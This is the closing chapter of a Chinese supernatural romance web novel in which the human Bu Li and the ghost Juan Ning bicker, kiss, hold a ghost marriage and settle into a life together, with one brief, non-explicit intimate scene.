其实那些争吵也不算是争吵,倒像是……伴侣间的拌嘴。
步理的性格闷,凡事在心里过了一遍又一遍,极少会说出口。而隽宁,有些越往回活的势头,原本心眼子就不多,现在真成了缺心眼。
这就导致,有时候极难沟通。
比如,现在,隽宁站在一边靠着墙,步理坐在沙发上端坐着。
“步理,赚钱了为什么不给我换个大的沙发?”
你说呢,两百块钱算个啥?就你看的沙发,边角料都买不起。
而这,将会成为我两周的饭钱!
步理嘴上没说不买,其实行动上已经表明:买沙发?那是绝对不可能。
“我们没钱。”
“你有啊,我帮你赚的。”
说起这个,也确实是隽宁赚的钱。
最近,竞争关系的同行不知从哪里听说了步理的名号,惦记上了步理手里吃饭的家伙,策划了一场抢劫。
然后,就让隽宁给收拾了。
顺带坑了对方兜里的两百元。
“这是你的住宿费,伙食费。”
不仅偷摸吸我阳气,还偷摸去吃他祖师爷们的香火,收点钱合理的。
“那行吧。”
隽宁叹了一口气。
步理还在想其他措辞,没料到隽宁就这么妥协了,一时间竟让他有些愧疚。
“让你吸阳气,跟你交换。”
还在想如何找到那个贼人勒索的隽宁:?
说什么?
吸阳气?
反应不过五秒,隽宁直接瞬间移到步理前面。因着对方是坐在沙发上,所以,隽宁直接叉腿,跨坐上去,亲了上去。
四目相对。
他们明明只是在渡阳气。
砰——
砰砰——
砰砰砰——
隽宁感觉到了心跳,强劲而有力,像是无心的胸腔在疯狂的滋长血肉。
眼前的步理没有动作,他似乎被自己吓住了。
隽宁想。
时间仿佛静止,隽宁停止了吸取。
触碰到渴望无比的阳气,并没有隽宁意料之内的欣喜和迫不及待,反而油然而生一种冲动。
鬼神差使下,隽宁伸出了舌尖。
轻碰。
砰砰砰砰砰——
心脏的跳动更极了,在这安静的房间里,显得尤为的突出,落入耳中,更是清晰无比。
有些东西,不一样了。
步理想。
好像很早就不一样了。
眼前是放大的面庞,他能清楚的看清隽宁眼尾靠里的黑痣,很小的一颗,放在隽宁的这张脸上恰到好处。
动情之时,介于纯和媚之间。
而这足矣令视觉动物肾上腺素激增,多巴胺迅速分泌。
“步理,我想亲你。”,隽宁微微拉开了点距离,敛眸,视线放在步理的唇上,轻声呢喃。
“我这算是诱骗吗?”
隽宁没有听懂,但如果是步理的话,他其实可以被诱骗一下的。
“不算,算也给你诱骗。”
亲吻的欲望超过的吸取阳气的欲望,隽宁整个人看起来乖顺无比,他等着步理的回复。
仿佛步理不说话,他就能一直等下去似的。
“鬼界讲求一夫一妻制吗?”
“不知道,我是孤魂野鬼。”
“那好,你后你就有夫了。”
夫?
隽宁没有反应过来,张嘴的瞬间,他感受到后脑勺一股推力,而后眼前面庞放大,嘴上一热。
他被亲了。
被步理亲了。
嘿嘿。
那就勉为其难当妻吧。
当晚,隽宁名正言顺睡在了床上。
水深火热。
两人都是水深火热。
步理用最开始隽宁嫌弃的领带,绑了隽宁的双手。隽宁更为嫌弃了领带了,谋杀不谋杀步理他不知道,反正让他挺难受的,想抓个东西的时候,只有空气,以至于感受都集中在了……步理身上。
—
结了冥婚,按照习俗,隽宁应该冠夫姓,入祖坟。但是吧,先不说换不换名字,就尸首来说,隽宁尸首早以化为黄土。
最后,商量后,名字不改,坟迁。
择黄道吉日,步理手写隽宁的名字,以指尖血一滴,落坟入祖。
至此,步理与隽宁正式结为夫夫。
是三生石、姻缘树都会有的那种。
夜晚。
突发奇想,步理想要看看缩小版的隽宁。
隽宁起先不愿意,因为,他总觉得步理不怀好意。但,耐不住步理磨人,然后,他送了上了门。
再然后,都是不可说。
—
陪伴是最长久的告白。
隽宁的告白热烈而肆意。
除去前二十多年未有相逢,此后,隽宁不再曾与步理分离。
记忆最后恢复了没。
好像一人一鬼都不曾再在意过。
隽宁永远是隽宁,步理也永远是步理。
这是亘古不变的。
—完—